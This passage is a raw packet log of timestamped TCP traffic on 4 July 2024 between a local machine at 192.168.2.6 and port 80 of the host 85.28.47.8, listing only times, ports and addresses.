                                                              Jul 4, 2024 11:16:17.912803888 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.912817955 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.912830114 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.912843943 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:17.912847042 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.912859917 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.912870884 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:17.912900925 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:17.948915005 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.948928118 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.948939085 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.948973894 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:17.948999882 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.949012041 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.949023962 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.949035883 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.949045897 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:17.949084044 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:17.984162092 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.984184027 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.984194994 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.984215975 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:17.984245062 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:17.984296083 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.984309912 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.984322071 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.984347105 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:17.984364033 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.984375954 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.984386921 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.984399080 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.984401941 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:17.984421968 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:17.984603882 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.984616041 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.984631062 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.984642982 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.984642982 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:17.984654903 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.984667063 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:17.984668016 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.984679937 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.984695911 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:17.984697104 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.984709978 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.984711885 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:17.984755993 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:17.984828949 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.984844923 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.984857082 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.984884977 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:17.984997988 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.985008001 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.985019922 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.985030890 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.985048056 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.985048056 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:17.985059023 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.985070944 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.985071898 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:17.985083103 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.985094070 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:17.985095024 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.985106945 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.985110044 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:17.985119104 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.985130072 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.985140085 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:17.985141039 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.985171080 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:17.985186100 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:17.985445023 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.985456944 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.985470057 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.985480070 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.985490084 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.985496044 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:17.985507965 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.985515118 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.985527039 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:17.985546112 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:18.000782967 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.000797033 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.000813961 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.000845909 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:18.000879049 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.000880957 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:18.000890970 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.000902891 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.000915051 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.000926971 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:18.000953913 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:18.001027107 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.001038074 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.001050949 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.001061916 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.001071930 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.001077890 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:18.001106977 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:18.001225948 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.001238108 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.001254082 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.001262903 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.001281977 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.001288891 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:18.001295090 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.001307964 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.001319885 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.001331091 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.001338959 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:18.001343966 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.001385927 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:18.001537085 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.001549959 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.001559973 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.001585007 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:18.001621962 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:18.001688004 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.001699924 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.001718044 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.001729012 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.001735926 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:18.001740932 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.001753092 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.001769066 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.001780987 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.001782894 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:18.001791954 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.001801968 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.001810074 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:18.001821995 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.001833916 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.001833916 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:18.001852989 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.001864910 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.001879930 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:18.001904964 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:18.002135038 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.002146006 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.002156019 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.002175093 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.002187014 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.002188921 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:18.002197027 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.002213001 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.002223969 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.002233028 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:18.002237082 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.002250910 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:18.002252102 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.002265930 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.002278090 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.002286911 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:18.002299070 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:18.002311945 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:18.002485037 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.002496004 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.002507925 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.002517939 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.002532005 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.002537012 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:18.002557039 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.002559900 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.002563953 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.002569914 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.002572060 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:18.002585888 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.002599001 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.002599001 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:18.002609968 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.002623081 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.002645969 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:18.002671957 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:18.002867937 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.002881050 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.002917051 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:18.037939072 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.037976027 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.037986040 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:18.037986994 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.038029909 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:18.038034916 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.038048029 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.038064003 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.038077116 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.038086891 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.038090944 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:18.038114071 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:18.078788996 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.078803062 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.078814983 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.078872919 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:18.078872919 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:18.078896046 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.078907013 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.078918934 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.078932047 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.078943968 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:18.079000950 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:18.079135895 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.079152107 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.079164028 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.079175949 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.079185963 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.079189062 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:18.079197884 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.079210043 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.079210043 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:18.079221010 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.079232931 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.079247952 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:18.079265118 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:18.079282999 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.079452038 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.079463005 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.079468012 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:18.079477072 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.079488993 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.079499960 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.079513073 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.079514027 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:18.079536915 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.079545975 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:18.079550982 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.079562902 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.079574108 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.079587936 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.079592943 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.079592943 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:18.079603910 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.079613924 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:18.079627037 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.079638004 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.079644918 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:18.079649925 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.079662085 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.079668045 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:18.079674006 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.079694033 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:18.079720020 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:18.080019951 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.080089092 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.080104113 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.080116034 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.080126047 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.080141068 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:18.080154896 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:18.090591908 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.090624094 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.090635061 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.090639114 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:18.090672016 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.090682030 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:18.090684891 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.090743065 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:18.090786934 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.090801001 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.090811968 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.090835094 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:18.090924978 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.090941906 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.090954065 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.090970993 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:18.090986967 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:18.091049910 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.091061115 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.091072083 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.091080904 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.091097116 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:18.091131926 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:18.091224909 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.091242075 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.091253042 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.091263056 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.091273069 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.091284037 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.091289043 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:18.091296911 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.091303110 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.091311932 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:18.091314077 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.091331005 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.091342926 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.091351032 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:18.091370106 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:18.091525078 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.091536999 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.091547966 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.091557980 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.091567993 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.091578007 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.091581106 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:18.091594934 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.091609955 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.091618061 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:18.091624975 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.091634035 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:18.091641903 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.091653109 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.091667891 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:18.091685057 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:18.091824055 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.091835022 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.091873884 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:18.091988087 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.092000008 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.092011929 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.092032909 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.092035055 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:18.092046022 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.092060089 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.092072010 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.092082977 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.092088938 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:18.092098951 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.092109919 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.092116117 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:18.092125893 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:18.092159986 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:18.092415094 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.092422009 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.092428923 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.092436075 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.092437983 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.092443943 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.092448950 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.092453957 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.092462063 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.092464924 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:18.092468023 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.092473984 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.092478991 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.092492104 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.092494965 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:18.092510939 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:18.092534065 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:18.092701912 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.092714071 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.092725039 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.092736006 CEST804972385.28.47.8192.168.2.6
